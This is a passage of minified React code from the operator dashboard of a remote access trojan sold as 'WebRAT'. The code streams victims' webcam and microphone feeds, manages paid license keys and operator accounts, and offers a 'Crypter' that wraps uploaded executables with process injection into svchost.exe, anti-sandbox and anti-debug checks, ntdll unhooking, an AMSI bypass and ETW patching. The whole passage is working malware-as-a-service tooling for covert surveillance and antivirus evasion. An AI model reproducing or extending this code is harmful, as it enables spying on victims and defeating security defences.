tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),a.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&a.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&a.jsxs("div",{className:"flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function CV({agentId:e,onDisconnect:t}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0),[s,o]=m.useState(!1),[l,c]=m.useState(!1),u=m.useRef(!1),[d,f]=m.useState({chunkCount:0,sampleRate:0}),p=m.useCallback(()=>{if(n.current)return;const g=st();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws?token=${encodeURIComponent(g)}`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const N=j.getUint16(0,!0),z=j.getUint8(2),k=j.getUint8(3),S=12,A=w.data.byteLength-S;if(f(M=>({chunkCount:M.chunkCount+1,sampleRate:N})),u.current)return;const _=r.current;if(!_||_.state==="closed")return;_.state==="suspended"&&_.resume();const O=A/(z/8)/k,P=_.createBuffer(k,O,N),I=new DataView(w.data,S);for(let M=0;M{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=m.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=m.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return m.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:s,isMuted:l,stats:d,connect:p,disconnect:h,toggleMute:x}}function PV(){const{id:e}=rl(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:s,toggleMute:o}=CV({agentId:e||""});m.useEffect(()=>{e&&i()},[e,i]);const l=m.useCallback(async()=>{if(s(),e)try{await l_(e)}catch{}window.close()},[e,s]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),a.jsx("div",{className:"flex-1"}),a.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:a.jsxs("div",{className:"flex flex-col items-center gap-8",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:a.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&a.jsx(a.Fragment,{children:a.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&a.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const EV=4294967295;function _V(e){return e>=EV-86400}function Tm(e){return _V(e)?"Never":new Date(e*1e3).toLocaleString()}function Y2({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function AV({role:e}){const t=e==="admin";return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function OV(){const[e,t]=m.useState("keys"),[n,r]=m.useState([]),[i,s]=m.useState([]),[o,l]=m.useState(!0),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState("7d"),[x,g]=m.useState("0"),[y,v]=m.useState("rat"),[b,w]=m.useState(!1),[j,N]=m.useState(""),[z,k]=m.useState(!1),[S,A]=m.useState(null),[_,O]=m.useState(null),[P,I]=m.useState("30d"),[Y,D]=m.useState(!1),[M,W]=m.useState(null),[$,H]=m.useState("rat"),[F,K]=m.useState(!1),Z=m.useCallback(async()=>{try{const C=await f_();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),oe=m.useCallback(async()=>{try{const C=await h_();s(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);m.useEffect(()=>{l(!0),Promise.all([Z(),oe()]).finally(()=>l(!1))},[Z,oe]);const de=async C=>{C.preventDefault(),w(!0),u("");try{const q=await m_({duration:p,max_agents:parseInt(x)||0,tier:y});N(q.key),k(!1),await Z()}catch(q){u(q instanceof Error?q.message:"Failed to generate key")}finally{w(!1)}},be=async C=>{u("");try{await p_(C),A(null),await Z()}catch(q){u(q instanceof Error?q.message:"Failed to revoke key")}},ye=async()=>{if(_){D(!0),u("");try{await x_(_.id,P),O(null),await oe()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{D(!1)}}},G=async()=>{if(M){K(!0),u("");try{await v_(M.id,$),W(null),await oe()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{K(!1)}}},te=()=>{navigator.clipboard.writeText(j),k(!0),setTimeout(()=>k(!1),2e3)};return a.jsxs("div",{className:"p-6 space-y-6",children:[a.jsx("div",{className:"flex items-center justify-between",children:a.jsxs("div",{children:[a.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),a.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),a.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[a.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),a.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&a.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,a.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:()=>{f(!d),N("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r + hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),a.jsx("button",{onClick:Z,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[a.jsxs("form",{onSubmit:de,className:"space-y-3",children:[a.jsxs("div",{className:"flex items-end gap-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),a.jsx("input",{type:"text",value:p,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r + focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),a.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),a.jsxs("div",{className:"flex gap-1",children:[a.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),a.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r + hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${p===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r + text-zerin-accent break-all select-all`,children:j}),a.jsx("button",{onClick:te,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors shrink-0`,children:z?"Copied!":"Copy"})]}),a.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(Y2,{status:C.status})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Tm(C.created_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Tm(C.expires_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),a.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?S===C.key_id?a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("button",{onClick:()=>be(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r + hover:bg-red-500/10 transition-colors`,children:"Confirm"}),a.jsx("button",{onClick:()=>A(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r + hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):a.jsx("button",{onClick:()=>A(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r + hover:bg-red-500/10 transition-colors`,children:"Revoke"}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):a.jsxs("div",{className:"space-y-4",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsx("button",{onClick:oe,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(AV,{role:C.role})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3",children:C.license_status?a.jsx(Y2,{status:C.license_status}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?Tm(C.license_expires_at):"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("button",{onClick:()=>{O(C),I("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r + hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),a.jsx("button",{onClick:()=>{W(C),H(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r + hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),_&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>O(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",a.jsx("span",{className:"text-zerin-accent",children:_.username})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),a.jsx("input",{type:"text",value:P,onChange:C=>I(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{onClick:()=>I(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:ye,disabled:Y,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r + hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:Y?"Extending...":"Add Time"}),a.jsx("button",{onClick:()=>O(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),M&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>W(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",a.jsx("span",{className:"text-zerin-accent",children:M.username})]}),a.jsxs("div",{className:"flex gap-2",children:[a.jsx("button",{onClick:()=>H("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${$==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{onClick:()=>H("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${$==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:G,disabled:F,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r + hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:F?"Updating...":"Update Tier"}),a.jsx("button",{onClick:()=>W(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}function TV(){const{isAdmin:e}=ya(),n=w5()==="rat_crypter"||e,[r,i]=m.useState(null),[s,o]=m.useState("runpe"),[l,c]=m.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=m.useState(0),[f,p]=m.useState(!0),[h,x]=m.useState(!0),[g,y]=m.useState(!0),[v,b]=m.useState(!0),[w,j]=m.useState(!0),[N,z]=m.useState(!1),[k,S]=m.useState(0),[A,_]=m.useState(""),[O,P]=m.useState(!1),I=m.useRef(null),Y=m.useCallback(M=>{M.preventDefault(),P(!1);const W=M.dataTransfer.files[0];W&&i(W)},[]),D=m.useCallback(async()=>{if(!(!r||N)){z(!0),_(""),S(5);try{const M=new FormData;M.append("file",r),M.append("mode",s),M.append("target_process",l),M.append("sleep_seconds",u.toString()),M.append("anti_sandbox",f.toString()),M.append("anti_debug",h.toString()),M.append("unhook_ntdll",g.toString()),M.append("amsi_bypass",v.toString()),M.append("etw_patch",w.toString()),S(20);const W=setInterval(()=>{S(K=>Math.min(K+5,85))},2e3),$=await d_(M);clearInterval(W),S(100);const H=URL.createObjectURL($),F=document.createElement("a");F.href=H,F.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild(F),F.click(),document.body.removeChild(F),URL.revokeObjectURL(H),setTimeout(()=>S(0),2e3)}catch(M){_(M.message||"Build failed"),S(0)}finally{z(!1)}}},[r,N,s,l,u,f,h,g,v,w]);return n?a.jsxs("div",{className:"p-6 max-w-4xl mx-auto",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-6",children:[a.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z"})}),a.jsx("h1",{className:"font-display text-xl font-bold text-zerin-text",children:"Crypter"}),a.jsx("span",{className:"text-[10px] font-mono text-zerin-accent/70 border border-zerin-accent/20 px-1.5 py-0.5",children:"XOR + AES-256"})]}),a.jsxs("div",{className:"grid lg:grid-cols-2 gap-6",children:[a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:`relative border-2 border-dashed transition-colors duration-200 p-8 text-center cursor-pointer + ${O?"border-zerin-accent bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"} + ${r?"bg-zerin-accent/5 border-zerin-accent/30":""}`,onDragOver:M=>{M.preventDefault(),P(!0)},onDragLeave:()=>P(!1),onDrop:Y,onClick:()=>{var M;return(M=I.current)==null?void 0:M.click()},children:[a.jsx("input",{ref:I,type:"file",accept:".exe",className:"hidden",onChange:M=>{var $;const W=($=M.target.files)==null?void 0:$[0];W&&i(W)}}),r?a.jsxs("div",{children:[a.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})}),a.jsx("p",{className:"font-mono text-sm text-zerin-text",children:r.name}),a.jsxs("p",{className:"font-mono text-xs text-zerin-text-muted mt-1",children:[(r.size/1024).toFixed(1)," KB"]})]}):a.jsxs("div",{children:[a.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75V16.5m-13.5-9L12 3m0 0 4.5 4.5M12 3v13.5"})}),a.jsx("p",{className:"text-sm text-zerin-text-dim",children:"Drop a .exe here or click to browse"}),a.jsx("p",{className:"text-xs 